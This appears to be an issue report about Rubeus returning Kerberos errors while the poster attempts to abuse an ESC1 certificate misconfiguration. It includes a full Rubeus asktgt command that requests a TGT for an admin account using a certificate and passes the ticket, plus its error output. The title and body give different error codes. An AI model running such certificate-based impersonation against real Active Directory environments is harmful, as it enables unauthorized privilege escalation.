KRB-ERROR (6) : KDC_ERR_C_PRINCIPAL_UNKNOWN #210
Description
Has anyone run into this issue before? Ran into this while attempting to abuse an ESC1. I tried targeting a number of admin accounts, all resulted in the same error.
C:\Users\user1\Downloads>Rubeus.exe asktgt /user:itadmin /sid:<redacted> /certificate:cert.pfx /ptt
[*] Action: Ask TGT\r
[*] Using PKINIT with etype rc4_hmac and subject: CN=user1, OU=finance, OU=acmeusers, DC=acme, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'itadmin'
\r[X] KRB-ERROR (66) : KRB_AP_ERR_USER_TO_USER_REQUIRED\r